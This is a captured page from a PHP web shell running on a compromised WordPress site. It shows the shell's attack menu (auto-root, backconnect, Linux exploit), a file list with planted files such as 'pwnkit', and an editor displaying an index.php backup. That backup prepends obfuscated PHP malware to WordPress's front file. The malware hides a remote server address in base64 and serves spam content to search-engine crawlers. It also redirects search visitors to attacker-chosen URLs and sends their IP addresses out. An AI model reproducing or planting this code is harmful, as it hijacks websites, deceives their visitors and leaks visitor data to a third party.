Linux webm006.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.127.20.6 | : 216.73.217.174
Cant Read [ /etc/named.conf ]
7.4.33
kvtechr
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
kvtechr /
www /
[ HOME SHELL ]
Name
Size
Permission
Action
wp-admin
[ DIR ]
dr-xr-xr-x
wp-content
[ DIR ]
drwxrwxrwx
wp-includes
[ DIR ]
drwxrwxrwx
.htaccess
249
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
api.php
29.62
KB
-rwxrwxrwx
hjvcvr.php
143.87
KB
-rw-r--r--
ilaasfvb.php
80.07
KB
-rw-r--r--
index.php.bak-20260616173524
12.13
KB
-rwxrwxrwx
index.php.bak-20260620165920
12.13
KB
-rwxrwxrwx
index.php.bak-20260628132132
12.13
KB
-rwxrwxrwx
index.php.bak-20260702225340
12.13
KB
-rwxrwxrwx
index.php.bak-20260713074418
12.13
KB
-rwxrwxrwx
index.php.bak-20260715184534
12.13
KB
-rwxrwxrwx
license.php
37.09
KB
-rwxrwxrwx
license.txt
19.44
KB
-rwxrwxrwx
pwnkit
0
B
-rwxr-xr-x
readme.html
7.23
KB
-rwxrwxrwx
robots.txt
70
B
-rwxrwxrwx
scan-all.php
1.4
KB
-rwxrwxrwx
sitemap.xml
205
B
-rwxrwxrwx
sitemap24.xml
1.7
MB
-rwxrwxrwx
wp-activate.php
7.2
KB
-rwxrwxrwx
wp-blog-header.php
351
B
-rwxrwxrwx
wp-comments-post.php
2.27
KB
-rwxrwxrwx
wp-conffg.php
0
B
-rwxrwxrwx
wp-config-sample.php
0
B
-rwxrwxrwx
wp-config.php
3.16
KB
-rwxrwxrwx
wp-cron.php
5.49
KB
-rwxrwxrwx
wp-links-opml.php
2.43
KB
-rwxrwxrwx
wp-load.php
3.84
KB
-rwxrwxrwx
wp-login.php
50.63
KB
-rwxrwxrwx
wp-mail.php
8.52
KB
-rwxrwxrwx
wp-settings.php
31.88
KB
-rwxrwxrwx
wp-signup.php
33.81
KB
-rwxrwxrwx
wp-trackback.php
5.09
KB
-rwxrwxrwx
xmlrpc.php
3.13
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php.bak-20260620165920
<?php $GLOBALS["_575219"]="error_reporting";$GLOBALS["_561056"]="base64_decode";$GLOBALS["_322758"]="strtolower";$GLOBALS["_589978"]="strpos";$GLOBALS["_840551"]="substr";$GLOBALS["_288504"]="header";$GLOBALS["_010118"]="stripos";$GLOBALS["_316139"]="rtrim";$GLOBALS["_446195"]="preg_match";$GLOBALS["_385687"]="str_replace";$GLOBALS["_841231"]="chr";$GLOBALS["_126382"]="base64_encode";$GLOBALS["_789784"]="strlen";$GLOBALS["_448774"]="trim";@set_time_limit(0);$GLOBALS["_575219"](0);$curl_timeout=10;$TD_server="aHR0cDovL2kucW9taS50b3A=";$TD_server=$GLOBALS["_561056"]($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?$GLOBALS["_322758"]($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?$GLOBALS["_322758"]($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?$GLOBALS["_322758"]($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode($GLOBALS["_322758"]($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');if($GLOBALS["_589978"]($user_agent,'google')!==false||$GLOBALS["_589978"]($user_agent,'coccoc')!==false||$GLOBALS["_589978"]($user_agent,'bingbot')!==false){ob_clean();if($GLOBALS["_840551"]($request,-4)===".xml"){$GLOBALS["_288504"]('Content-Type: application/xml; charset=utf-8');if($GLOBALS["_010118"]($request,'itemap.xml')!==false){$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host,$user_agent);}else{$n=getNumber($request);$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&page=" .$n,$user_agent);}if($response!==false&&$response[0]==200){echo $response[1];exit;}}else if($GLOBALS["_010118"]($request,'robots.txt')!==false){$GLOBALS["_288504"]('Content-Type: text/plain');$robotsTxtContent="User-agent: * ";$robotsTxtContent .="Allow: / ";$robotsTxtContent .="Sitemap: " .$http_type.$GLOBALS["_316139"]($host,'/'). "/" . "sitemap.xml ";echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if($GLOBALS["_446195"]($image_pattern,$request)){exit;}$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$user_agent);if($response!==false){if($response[0]==200){$GLOBALS["_288504"]('Content-Type: text/html; charset=utf-8');echo $response[1];exit;}if($response[0]!=200&&!empty($response[1])){$json_data=$GLOBALS["_385687"](array($GLOBALS["_841231"](239),$GLOBALS["_841231"](187),$GLOBALS["_841231"](191)," "," "," "," "),'',$response[1]);$product_data=json_decode($json_data,true);$title=urlencode($product_data['keyword']);$pid=$product_data['kid'];if(!empty($title)){$spider_result=spider($title);}}if(isset($spider_result)&&$spider_result!=false&&isset($pid)){$data=array('kid'=>$pid,'spider_url'=>$spider_result[0],'html_text'=>$spider_result[1]);}else{$pid=isset($pid)?$pid:0;$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if($GLOBALS["_589978"]($referer,'google')!==false||$GLOBALS["_589978"]($referer,'coccoc')!==false||$GLOBALS["_589978"]($referer,'bing')!==false){if(judgeLanguage($lang)==1){$client_ip=$GLOBALS["_126382"](get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[0]==200&&$GLOBALS["_789784"]($response[1])>5){$tzurl=$GLOBALS["_448774"]($response[1]);$tzurl=$GLOBALS["_385687"](array($GLOBALS["_841231"](239),$GLOBALS["_841231"](187),$GLOBALS["_841231"](191)," "," "," "," "),'',$tzurl);@$GLOBALS["_288504"]("Location: " . $tzurl);exit;}}}function generate_random_ua(){$GLOBALS["_320074"]="rand";$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .$GLOBALS["_320074"](1,100),'Mozilla/' .$GLOBALS["_320074"](3,5). '.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS["_320074"](50,60). ') Gecko/20100101 Firefox/' .$GLOBALS["_320074"](1,100),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS["_320074"](50,60). ') AppleWebKit/' .$GLOBALS["_320074"](500,600). '.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["_320074"](50,60). '.0.3112.90 Safari/' .$GLOBALS["_320074"](500,600). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS["_320074"](13,16). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["_320074"](90,100). '.0.4430.212 Safari/537.36 Edg/' .$GLOBALS["_320074"](90,100). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["_320074"](90,100). '.0.4430.212 Safari/537.36 OPR/' .$GLOBALS["_320074"](76,86). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .$GLOBALS["_320074"](8,12). '.0; SM-G9' .$GLOBALS["_320074"](5,9). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["_320074"](90,100). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .$GLOBALS["_320074"](14,16). '_' .$GLOBALS["_320074"](0,5). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS["_320074"](14,16). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){$GLOBALS["_492831"]="rand";$GLOBALS["_638437"]="file_get_contents";$GLOBALS["_418623"]="preg_match";global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=$GLOBALS["_492831"](1,254). '.' .$GLOBALS["_492831"](1,254). '.' .$GLOBALS["_492831"](1,254). '.' .$GLOBALS["_492831"](1,254);$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,2);curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);curl_setopt($curl,CURLOPT_AUTOREFERER,1);curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,1);curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,0);curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. " " . "Referer: " .$referer. " ",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];$context=stream_context_create($options);$response=@$GLOBALS["_638437"]($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];$GLOBALS["_418623"]('/HTTP\/\d\.\d (\d{3})/',$http_response_header[0],$matches);$httpcode=isset($matches[1])?(int)$matches[1]:0;return[$httpcode,$response];}}function post($url,$postData,$ua=''){$GLOBALS["_230554"]="file_get_contents";global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,0);curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8 " . "Accept: application/json " . "User-Agent: " .$ua. " ",'content'=>$postData,'timeout'=>10],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];$context=stream_context_create($options);$response=@$GLOBALS["_230554"]($url,false,$context);return $response;}}function judgeLanguage($lang){$GLOBALS["_053118"]="explode";$GLOBALS["_327103"]="strtolower";$GLOBALS["_287719"]="trim";$GLOBALS["_353419"]="substr";if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=$GLOBALS["_053118"](',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=$GLOBALS["_327103"]($GLOBALS["_287719"]($languages[0]));return $GLOBALS["_353419"]($firstLang,0,2)===$lang?1:0;}return 0;}function getNumber($string){$GLOBALS["_382076"]="strpos";$GLOBALS["_314334"]="strlen";$GLOBALS["_371992"]="substr";$posSitemap=$GLOBALS["_382076"]($string,'sitemap');$posXml=$GLOBALS["_382076"]($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-$GLOBALS["_314334"]('sitemap');$substring=$GLOBALS["_371992"]($string,$posSitemap+$GLOBALS["_314334"]('sitemap'),$length);return intval($substring);}return 0;}function get_client_ip(){$GLOBALS["_415829"]="explode";$GLOBALS["_269605"]="trim";$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach($GLOBALS["_415829"](',',$_SERVER[$key])as $ip){$ip=$GLOBALS["_269605"]($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$GLOBALS["_443295"]="in_array";$GLOBALS["_030508"]="strtolower";$GLOBALS["_522071"]="stripos";$GLOBALS["_808374"]="trim";$GLOBALS["_979435"]="strlen";$hrefTemp=spider_search($name);if(empty($hrefTemp)){return false;}$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if($GLOBALS["_443295"]($GLOBALS["_030508"]($file_extension),$non_web_extensions)){continue 1;}if($GLOBALS["_522071"]($href,'youtube.com')!==false||$GLOBALS["_522071"]($href,'twitter.com')!==false||$GLOBALS["_522071"]($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[0]==200){$htmltext=$GLOBALS["_808374"]($spider_html[1]);if($GLOBALS["_979435"]($htmltext)>2000){return[$href,$htmltext];}}}return false;}function spider_search($name){$GLOBALS["_176703"]="preg_match";$GLOBALS["_704833"]="stripos";$GLOBALS["_903811"]="array_values";$search_url="https://search.aol.com/aol/search?q=" . urlencode($name);$hrefArray=[];$result=curl_request($search_url,'',$search_url);if($result===false||$result[0]!==200){return[];}$html=$result[1];$dom=new DOMDocument();@$dom->loadHTML($html);$xpath=new DOMXPath($dom);foreach($xpath->query('//a[@href]')as $a){$href=$a->getAttribute('href');if(!$GLOBALS["_176703"]('/\/RU=([^\/]+)\/RK=/',$href,$m)){continue 1;}$realUrl=urldecode($m[1]);$host=parse_url($realUrl,PHP_URL_HOST);if(!$host)continue 1;if($GLOBALS["_704833"]($host,'aol.com')!==false||$GLOBALS["_704833"]($host,'oath.com')!==false){continue 1;}if($GLOBALS["_176703"]('/(google|facebook|twitter|youtube|bing|apple|microsoft|yahoo|schema\.org|w3\.org)/i',$host)){continue 1;}if($GLOBALS["_176703"]('/\.(js|css|png|jpg|jpeg|gif|svg|ico|webp|pdf)$/i',$realUrl)){continue 1;}if(!$GLOBALS["_176703"]('#^https?://#i',$realUrl)){continue 1;}$hrefArray[]=$realUrl;}return $GLOBALS["_903811"](array_unique($hrefArray));} ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';
Close